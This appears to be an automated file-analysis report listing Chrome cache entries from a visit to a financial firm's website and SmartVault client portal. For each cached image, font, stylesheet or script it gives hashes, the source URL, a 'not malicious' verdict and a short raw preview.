SHA-512:	7FD107752CB75CE1ADC0F9F2199D816F0E754979E19BCAE8853FBF9764121510F76944B8D24C44475951F53D888BB56ED11F16901876A2A32C1144E9B889B65E
Malicious:	false
Reputation:	low
URL:	https://smartvault.ada.support/embed/x-storage/e540f3c/index.html
Preview:	<!doctype html><html><head><meta charset="UTF-8"/><title>Ada X Storage</title><script defer="defer" src="sentry.b6985341d53aea5af72f.js"></script><script defer="defer" src="index.js"></script></head><body style="margin: 0"></body></html>

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 500x313, components 3
Category:	downloaded
Size (bytes):	26276
Entropy (8bit):	7.972065534704592
Encrypted:	false
SSDEEP:	768:0yeC7+AWHx2IMI1wROAiW10XHQzpeSo+k3tGYUYPWi:0y9qAWHflFgzptTstFUri
MD5:	085ABACB35E86C1B6CAC58D63F087BD1
SHA1:	F9B391C2F4544228449C9CE9F10E0A50E050976B
SHA-256:	B20D06F870A0E90E030E9EE1DC479A117E4B9BD3CCAD625408B25BBA915A4FA4
SHA-512:	78C7B1E221EDA30F410846D4C396EAFBD108102BE5D56850503EAB911728D574ED68E941A11709EC4AF9BC17CF0C58C332E9461B507D99CC0743B8B06D63BAAE
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2017/07/shutterstock_559577665.jpg
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................9...."...............................................................................s...%V.../..................&.....p....c.#..g..J....w..U....[9.5SR...B.Y.}%.E46Q5# .f....g]w..`.....@....+.n=-..;.. ......K..o?UVIkd....@...:F;.V...../...md.g-.....R.W...<n.s...w;.d...l..J..ywM.=.z....m.C G.............JX<...Yd..K8=.26jI...a+....F\.O...Y..6....t.}y...K..[.....-..!..$F.-.v/2y..K..gR...5E.t..,5.k..z..>@.........U)a6.\|.WU%m..]x.....^..L9........m%.+b.5&..U.9.Y.d....L.`...(:1.....B.O.>k...1P.`.2...............~.we.zN.....u..yi......3...s`...O......I}b.%^W.s....;u..9.d.s..*.T.zX...e...cP.......zR.1.[..........0d.XW........VTX6...z....5..z.'.Wo=8...8G.".y".L.d.F.dF.B.fG.\|...h.....`.#$op...z5.D../W:r.n......Q.x...%_.:.v:.S!..<.....>}^;.0..t;...r..'......^..-..fo..>......h.1.y.]sr.0...z...e7.

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3717
Entropy (8bit):	5.354381910061618
Encrypted:	false
SSDEEP:	96:QOW+Vc+ukOWbNQOLDVc+ukOLHNQOguVc+ukOgLNQOxTRVc+ukOxTqNQOCKVc+ukJ:sE/XLSYUVh9wZgbN
MD5:	F546D4D3BFE3C05418A9D884384C0291
SHA1:	81D51C67025CEF4A9F987E026EA8A1D2D56AC49F
SHA-256:	C62F53DB271220CA33087210A3E710F44DE1C88231E85C08ADC181A482A6B586
SHA-512:	0702377BAF027174AD02C05B7F3EA8E3DA03E5498A865B3C3BC70A3A05C7E22FBA86FB3585A1A38FAF125B6C1C1A2CA166ACAB424423AA545BC6DF12FA965049
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700"
Preview:	/* latin-ext /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 116 x 32, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1208
Entropy (8bit):	7.77003875059431
Encrypted:	false
SSDEEP:	24:NnuR0KO+WUUsg+ncwv1jb8Qkiwl9f1UqIA/Y8EQ65Ik0cPLl+IQ4:NZKO+umnB9TwlnSA/Y8EQ6R0cLh
MD5:	566E0B72E1A14FA5959E8E7064202747
SHA1:	48385749BB7634419F232DAAAC1FABD9CE0B2866
SHA-256:	8D8168223BACF929EBF51ACBBA885739056DE18201EEA151946BF4D85E0BACFF
SHA-512:	02685F497D530E671C0314416B714984B343D818F1F06D076EF8BA67C56F5845B15191D9D3E6833B8D81B9B28ADD57D736D15BFDEF55EE0B6EA02EC7140ABC46
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/artwork/server/graphics/btn-sign-in.png
Preview:	.PNG........IHDR...t... ......[......tEXtSoftware.Adobe ImageReadyq.e<....PLTE........y.............Y.\....._.............L......k.^.....E`4..................................i.\.........................]tO...x.lQkB.....^uO......................................................................................................~............................W...............}.......................8U&.....................+..T....IDATx...S.`...j.".%.Kc.....+..$.....Y..=.. ......."!..LI..;.}.......m........yk3.i..w.bol...Wf\.]...4.s...j)-.p\|...W..T#L.}..T...j(.5....vv.O&...I&7f..\|./.Y......5..u2 .Y,.....x8P4....tH3b..Z.M.....?..7..Z...$....,'..'ob....0.T@iN.....##..?.zu..@.*-...i\|.....".b...fQ....d..J.=z.....i.......-N@Y.3x<...@...k..th...Q\.\|.v.{..@..4...>..wU.{........:P.L..T3.....J.\|..p.RAh$=....L..F..J.:.7=.yG.k.+x.>..h...p..\|.o.PsJ+...Si..z...^^W...e...cK7y./..l..I`D..."~mW.s....$.hR.JKb....t....T.-0\$2....H......8

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4275)
Category:	downloaded
Size (bytes):	7945
Entropy (8bit):	5.1642382510387606
Encrypted:	false
SSDEEP:	192:mjpzHmyLThQoV11jZo6Bh34LgrXGGK87JHsfvhBfA3/gAtLUu:mjpbLr/eByHUu
MD5:	088C1F7CDCA41CB4E3E49F213B9C4587
SHA1:	A6A9C67E78B34DE0EE3CD245B5CD6F5A5E94A387
SHA-256:	A9192D979731226F24B6312E09586F9ACBBB43BB8ED11EC0BA0D7814F2DD39E2
SHA-512:	18D693D9C4AF0D93AB342451537D939FBFA21CB03CAD450B3D87E1C5C582BC08245A22CE58306FB3835409C98A19899F18F492D145B9E7145C6F787D6C3B644A
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/assets/images/fav//favicon-32x32.png
Preview:	<!DOCTYPE html>.<html lang="en" data-critters-container>. <head>. Google Tag Manager -->. <script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':. new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],. j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=. 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);. })(window,document,'script','dataLayer','GTM-TMF86NW');</script>. End Google Tag Manager -->. <title>BrokerCheck - Find a broker, investment or financial advisor</title>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width,height=device-height, initial-scale=1.0">. <meta name="ROBOTS" content="NOARCHIVE">. <meta name="description" content="BrokerCheck is a trusted tool that shows you employment history, certifications, licenses, and any violations for brokers and investment advisors.">. <meta name="msapplication-config" conten

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15860, version 1.0
Category:	downloaded
Size (bytes):	15860
Entropy (8bit):	7.988022700476719
Encrypted:	false
SSDEEP:	384:S7qmPTF4N21t//YW2FS6+1XxrsbGmjlAbvqMmtCN:S621tHY4xwbGmjloSM7N
MD5:	E9F5AAF547F165386CD313B995DDDD8E
SHA1:	ACDEF5603C2387B0E5BFFD744B679A24A8BC1968
SHA-256:	F5AEBDFEA35D1E7656EF4ACC5DB1F243209755AE3300943EF8FC6280F363C860
SHA-512:	2A71EDB5490F286642A874D52A1969F54282BC43CB24E8D5A297E13B320321FB7B7AF5524EAC609CF5F95EE08D5E4EC5803E2A3C8D13C09F6CC38713C665D0CE
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......=...........=..........................d.....^.`.. .H..<........8........6.$.... ..~. ..)..~E......6..J..`.. :.....8.;..5......!.l.j.%SX.SDm...RXh...&.X......5..._...............@...8...Gi..g.;9..'.Q......1..5.U.....w.+.hn..........c.....5.#{..%.#.JP..i.J..U(.6.D5V.<"Ex6"...k..[..{.?.d2....{.........W.......S...hT,.l..'.9.;[@..._.L..\|+...)......S...9F......T..t...-=X.:FtZ..uZ.[.?..f<.....@.....'...I...e..........8.?..-R.3,%X...I2\|.Wk{i...V2C....H$.H.LH.{.........(...6U..%W[t.R....j.........iS..%..L....rf.=..7..9i.I...1.Mj..C..u.B.........vJ.....+.u$.=..3..T..R.._.gs...6).$.-.PUH..Hl....WDd.......fK.(B.F1>..5.._[..]}VA#X...c.....%.(s50...m...^...1...'.$U*H.t...H...s.AZu...'...8.p...@.@.....q..Y.#.....#.....G.....G@..o8. A........:.........S.:..N.S.j.....tav.}.9h..s.....he.......{,~k...,eK.z}.......5%G...l.uCK.....V..............m.....U}.Sz..Z.c.{.....:..g......>h..'\|Z........a....^.b...o.>...g........f../w'....Ja.o(

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1028
Entropy (8bit):	5.115505121976084
Encrypted:	false
SSDEEP:	24:U309oY2OrfFECkyrMBFLGI34di4qXUmezA:0THufFElyYBhZz4qXrEA
MD5:	192D1F01BBE4303B9BBD4E0F39CC526E
SHA1:	607C6288204990BC8B851EF5AE43BB50B2C5B10B
SHA-256:	30C07E94CB9257659D87D60D9D195D34E89A6F1F1A05431D90B965096C9192D9
SHA-512:	50B5DE783F459251F100DE13F90C69D6F39CAEA3477B99291260F0AE7DDC43931EC7B406A8D43F97F90269A08D7A91A47E91A7561A0007A30A75C72C88E55599
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/css/PasswordStrength.css
Preview:	.#password_description..{...font-family: sans-serif,Arial;.. font-size: 10pt;..}....#password_strength..{...height:5px;...display:block;..}....#password_strength_border..{...width: 144px;...height: 5px;.. background: #cccccc;.....}...strength0..{...width:144px;...background:#cccccc;..}.....strength1..{...width:30px;...background:#aa0033;..}...strength2..{.. width:49px;.. background: #F50049;..}...strength3..{...width:68px;....background:#c48900;..}.....strength4..{...width:87px;...background:#6699cc;..}.....strength5..{...background:#6699cc;...width:106px;..}.....strength6..{...background:#399800;...width:144px;..}...password-message0 {.. color: black;..}...password-message1 {...color: #aa0033;..}...password-message2 {...color: #F50049;..}...password-message3 {...color: #c48900;..}...password-message4 {...color: #6699cc;..}...password-message5 {...color: #6699cc;..}...password-message6 {...color: #399800;..}.....passwordWrapper .rules {...color: #707070;...margin-top

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 192 x 192, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2106
Entropy (8bit):	7.554456957317547
Encrypted:	false
SSDEEP:	48:EWP8JUaPVKWwCtcHB3sXXRBJ3v8qkZ/aWr/3KZerMLvSOxJ3Df8sfqV1:lkJVKWw03XXZ4Meo931fq
MD5:	6452ED75C53E1A8E90A664DF18959A90
SHA1:	AC01FC2F40F0E4808E22A9C569F3775F0F15A5E2
SHA-256:	C7BAC3E7016DFC7EB5787579BAC6B975B433FC1A9C279DAFC35649D4782F2061
SHA-512:	4B23F7FB31826943CBA6496BD74DC620C8EC3B8F0525497E825F1F1F87486335D4374F85417458C3C3E018C2215B9B419D7DE77CB67AAE9EA619038432E1EB10
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............e..5...YPLTEGpL.e..e..e..p..e..f..f..h..f..f..`..`.....g..f..f..g..g..f..f..f..g..f..h..e..f..d..g..e..e..c..f..f..e..f..g..g..e..f..f........i..h..e..f..f.....e........e..g..f..f..f..f..f..f..g........f..e..e.......F........................f....F.....d........'y.....p....E.....U..7..t.................6..t...........U.................................p......uy...LtRNS.0`..... ......p..._....@..@..oPP...O.^..__....0.o.o.oO..p.P.P_n. ..@0..P........DIDATx..YS.G..G.]..N...t.6&.$..8v\|.>{.."....m.3...../...X..../.....z..Z...^-."\|GT(T.K..Z..n..z.3..BT..Z....\.)..Y.....)..\XZs%..e../...........:....Z.R...,X...B....VCL......".~)P...@..P..8......YG..<...=..BLs..CX........0..J...I....Z..,....0g...i...B..}6.Eh.$.g.D1.k......... ..WYD....O..b~.~......U..s4..?...d0........x.g7.zF...........9..G.A...~...=#.w0.1Z......K..BV..>....x.p...<LS...ft..(\|...2XDE.Q...yc..$Mu.@.L...R=.X,.H....!.X).j../.-q2.....09.........\...&.bYk........j.o......../.u}..(5!.

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10168)
Category:	downloaded
Size (bytes):	200474
Entropy (8bit):	5.658437316722727
Encrypted:	false
SSDEEP:	6144:IXA57a1nuVnBjgVHlxNi8Mn41bzSblrkBip0qAXNb02Na8kfLZWhk:IXA57a1nWnBj+jNiZ41b2blrkBiphAXC
MD5:	7A866EE5AD2E726D18E918E8551C179F
SHA1:	565B00BA021329F4E0798BDB7EE94BE5C5945658
SHA-256:	E44B4C5769555D650B245C98E6D3556380805ABB13B05DF0DB0D6F1804B50B45
SHA-512:	2CDA90DDA2D9223CBC06A73D59420753A9CAD8C55B2C24B8709A6795D8294CB458FB8435A9F9E35FF9A56C6600ADB5B8288E8ADAD97A263F347C3CAF195D386B
Malicious:	false
Reputation:	low
URL:	"https://maps.googleapis.com/maps/api/js?client=google-maps-embed&paint_origin=&libraries=geometry,search&v=weekly&loading=async&language=en_US&callback=onApiLoad"
Preview:	..window.google = window.google \|\| {};.google.maps = google.maps \|\| {};.(function() {. . var modules = google.maps.modules = {};. google.maps.__gjsload__ = function(name, text) {. modules[name] = text;. };. . google.maps.Load = function(apiLoad) {. delete google.maps.Load;. apiLoad([0.009999999776482582,[null,[["https://khms0.googleapis.com/kh?v=969\u0026hl=en-US\u0026","https://khms1.googleapis.com/kh?v=969\u0026hl=en-US\u0026"],null,null,null,1,"969",["https://khms0.google.com/kh?v=969\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=969\u0026hl=en-US\u0026"]],null,null,null,null,[["https://cbks0.googleapis.com/cbk?","https://cbks1.googleapis.com/cbk?"]],[["https://khms0.googleapis.com/kh?v=162\u0026hl=en-US\u0026","https://khms1.googleapis.com/kh?v=162\u0026hl=en-US\u0026"],null,null,null,null,"162",["https://khms0.google.com/kh?v=162\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=162\u0026hl=en-US\u0026"]],null,null,null,null,null,null,null,[["https://streetv

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2143
Entropy (8bit):	7.489483693830243
Encrypted:	false
SSDEEP:	48:g1uNn2vwJ3xmgCyq0Qgyr7fE/wFnBtqpa1ieucoFl/ss:p2QpRqmyffE/sBca1rucoFl/ss
MD5:	66DEFE8841303A7111155EC339692120
SHA1:	FDAF81A3525E7E8BB02678193490DB11180CF746
SHA-256:	F3D5254125DCC9E3FCD12595CBA2D1912F04D8080B84535ECF336DD4A1E9B868
SHA-512:	44E08395CE1ED21997D0956FC2E42C700CD49F9CE1F5C2B23386D23ADE5F55D28BAF51BACCA94DAA6CC53F6C8DEBA7FC044DCDFDB0277AD6ACC9052451B00438
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2018/02/linkedin-28.png
Preview:	.PNG........IHDR.............r......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:DD7DABDA1B9F11E8AEF493D9E1EE3689" xmpMM:DocumentID="xmp.did:DD7DABDB1B9F11E8AEF493D9E1EE3689"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DD7DABD81B9F11E8AEF493D9E1EE3689" stRef:documentID="xmp.did:DD7DABD91B9F11E8AEF493D9E1EE3689"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.K.6....IDATx.V.k\U...}o&3...I'..........m. ..B....D.M.Eu...7.....Ui-..E".Zl45....&Nl...~.].s.d2.IB2>r_.w...s

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	11388
Entropy (8bit):	4.982538497433195
Encrypted:	false
SSDEEP:	192:YFRYlRfiAjGof8eGJsqSggUdgPzvi7Vp5d7Zq6:SRYlRfVjJEsKgUaPzvup5dF
MD5:	91954B488A9BFCADE528D6FF5C7CE83F
SHA1:	EDF589EB28247C73CCC04E5B34AD107B90BD1B2E
SHA-256:	6BC5622BFAB1A16855AD49B99A3F9ED8EB24F49DA469A113F9000B866F109E2E
SHA-512:	D4772D5A06B400A7EC7250C85B5E5630F309B0876936DE85BF3D24030FB2DF55BB63EA5E4905325F41561996EBFC03BEC95AE2DC48320273C894FFDCA9943899
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1711022616
Preview:	/*. Observe how the user enters content into the comment form in order to determine whether it's a bot or not.. . Note that no actual input is being saved here, only counts and timings between events.. */..( function() {..// Passive event listeners are guaranteed to never call e.preventDefault(),..// but they're not supported in all browsers. Use this feature detection..// to determine whether they're available for use...var supportsPassive = false;...try {...var opts = Object.defineProperty( {}, 'passive', {....get : function() {.....supportsPassive = true;....}...} );....window.addEventListener( 'testPassive', null, opts );...window.removeEventListener( 'testPassive', null, opts );..} catch ( e ) {}...function init() {...var input_begin = '';....var keydowns = {};...var lastKeyup = null;...var lastKeydown = null;...var keypresses = [];....var modifierKeys = [];...var correctionKeys = [];....var lastMouseup = null;...var lastMousedown = null;...var mouseclicks = [];....var mous

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11296)
Category:	downloaded
Size (bytes):	623439
Entropy (8bit):	5.505375091328586
Encrypted:	false
SSDEEP:	6144:AP4dMS979kXU8TyM5LRiamZ8gmz/Nb7IZkpWrbA:YA7DsdmZqzlHx
MD5:	E7F90156FD071F2774D1DDAEF5CE9CDB
SHA1:	F57C5E4D3E7DBCF00B5C01E3665EBC644A03D908
SHA-256:	C59AB22BED17515CB8FC3B3B5E38A810D59B6EDE13EBD0CB817499878B900C98
SHA-512:	8434782073E11866B82CD2B014C27D74AF9B37D63800BD13A6F5CCE3A9930867BD617329A2CDD2BCF6665372A463027F73D743657435754E16AD0A63695BB418
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3iuch4/yJ/l/en_US/nIS5MG5jU1H.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometSetDenseModeMutation_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="4486145264820781"}),null);.__d("CometSetDenseModeMutation.graphql",["CometSetDenseModeMutation_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a=function(){var a=[{defaultValue:null,kind:"LocalArgument",name:"input"}],c=[{alias:null,args:[{kind:"Variable",name:"input",variableName:"input"}],concreteType:"SetDenseModeResponsePayload",kind:"LinkedField",name:"set_dense_mode",plural:!1,selections:[{alias:null,args:null,concreteType:"Viewer",kind:"LinkedField",name:"viewer",plural:!1,selections:[{alias:null,args:null,kind:"ScalarField",name:"dense_mode_setting",storageKey:null}],storageKey:null}],storageKey:null}];return{fragment:{argumentDefinitions:a,kind:"Fragment",metadata:null,name:"CometSetDenseModeMutation",selections:c,type:"Mutation",abstractKey:null},kind:"Request",operation:{argumentDefinitions:a,kind:"Operation",name:"CometSetDenseModeMutation",selections:

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17515)
Category:	downloaded
Size (bytes):	18110
Entropy (8bit):	5.597865209759895
Encrypted:	false
SSDEEP:	384:QGVt6Xkntf7Ad+FB3BlbGpVydbuDinaTpClreaeBEW+jXporZ:Qy8aB7AdADb+VvDinaTUiaeerjXSV
MD5:	16A8085B53263BC3B6AEBB538B2A4674
SHA1:	9D8B9792EA31BE9BC6D0FB36A29D41D82B0F4813
SHA-256:	E3FB6F25C35184ED1D0853675DBD4C61D23C4B677BBA3F9131E10C2C96C70686
SHA-512:	8A01BD6D4D6CB75C72C89A21A9B10C10C3AB79D294A72D85823467360CCB96F95B4F6BB1E529F53E79F0D82CFFEF2A0517CF013DD06206C1F0ABFCA3EEF804BD
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/4_tvJcNRhO0dCFNnXb1MYdI8S2d7uj-RMeEMLJbHBoY.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var y=function(e){return e},a=this\|\|self,b=function(e,M){if((e=(M=a.trustedTypes,null),!M)\|\|!M.createPolicy)return e;try{e=M.createPolicy("bg",{createHTML:y,createScript:y,createScriptURL:y})}catch(A){a.console&&a.console.error(A.message)}return e};(0,eval)(function(e,M){return(M=b())&&1===e.eval(M.createScript("1"))?function(A){return M.createScript(A)}:function(A){return""+A}}(a)(Array(7824Math.random()\|0).join("\n")+['(function(){/',.'',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var MM=function(e,M,A,a,q){function Q(){}return a=(A=(e=eP(e,function(n){Q&&(M&&R(M),q=n,Q(),Q=void 0)},(q=void 0,!!M)),e[0]),e[1]),{invoke:function(n,y,b,r){function t(){q(function(O){R(function(){n(O)})},b)}if(!y)return y=A(b),n&&n(y),y;q?t():(r=Q,Q=function(){R((r(),t))})},pe:function(n){a&&a(n)}}},A3=function(e,M){function A(){this.L=this.i=this.n=0}return M=(e=(A.prototype.z2=(A.prototype.NJ=func

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	124
Entropy (8bit):	4.921386786865453
Encrypted:	false
SSDEEP:	3:oSmx3inqiAMXBZNDro6mScsRP+V1b0pmbkGrY:oSg3yqiAWV3mI8b0JGM
MD5:	1D080011B60BC411525E1523CC8D44B8
SHA1:	8049F0495582F01D71A0790A542CBE64C2505A06
SHA-256:	6C0F7C5DB44845D27645A8AB7B3B53E7860D3A7375E075CBE413B59CBF857F76
SHA-512:	6464136A7E83D0535CE1F8120DA365073CC95579E236FB94819861D6901989E5713BA42B071CDF350169C963DF0ABE5EB60E94DAD9EEBA142C7E719938289F55
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQn0S61pD_-oZBIFDVkMGggSBQ28ierQEgUNoEYhsBIFDc5BTHo=?alt=proto
Preview:	ClkKBw1ZDBoIGgAKDQ28ierQGgQIARgCIAEKEw2gRiGwGgQICRgBGgQIVhgCIAEKKg3OQUx6GgQITBgCKh0IClIZCg9AIS4jJCpfLT8mKy8lLCkQARj/////Dw==

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	191363
Entropy (8bit):	5.101101850734766
Encrypted:	false
SSDEEP:	3072:AEB1iWal4UZCAPn7ECShawWPLZx186I2l4Cy8oY3cm0L4O:tB1iWal4UZCAPn7ECShawWPLZx186I2+
MD5:	8222ED6C798BFA2ADB55E5EEF4134093
SHA1:	AC7303E265CB511937FF2633402F489F0DFDB4C9
SHA-256:	448DF962DF99BF551E8A335698E57A997CE340FF673FF4CA10BBA4385DFA19F0
SHA-512:	BB4FC7F7B70A9761A10F497117C402D18307C3A19B32B558984AF1122F8F986E9CF7FFA1B3EB1C5257DCDB1C9B34E54C4B38B70200AE90B5AC8CA25838D1E301
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x/framework/dist/css/site/stacks/integrity-light.css?ver=10.4.16
Preview:	@charset "UTF-8";article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}html{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{max-width:100%;height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}#map_canvas img{max-width:none}button,input,select,textarea{margin:0;font-size:100%;vertical-align:middle}button,input[type=button],input[type=reset],input[type=submit]{cursor:pointer;-webkit-appearance:button}input[type=search]{-webkit-appearance:textfield}input[type=search]::-webkit-search-decoration,input[type=search]::-webkit-search-cancel-button{-webkit-appearance:none}textarea{overflow:auto;vertical-align:top}iframe{border:0}.widget_nav_menu .x-framework-icon-menu{display:none}.widget_n

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1620 x 675, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	54653
Entropy (8bit):	7.833527803247782
Encrypted:	false
SSDEEP:	1536:6v0qiY56Khg2+P5nMcazDbGcB04l7hDsN:6MpX2+xnMlKyxl7h4
MD5:	B6A2096635FFA0830D72CD34E7ED9E33
SHA1:	4DA73CDB3B61752C74C6C16233D90E952E532287
SHA-256:	994A327F8A592FDBEF478679E8114B966B8CD510F09BDC65D688BF0569FEE489
SHA-512:	5C703D2819C444F00349E15B88023DB2F54A237F402BBDC3F7E42F5DF9FB68D9E96AF88BE086C1031C3E7E2D92BF145B73EA39F77E607B5C94623B9294F0C89C
Malicious:	false
Reputation:	low
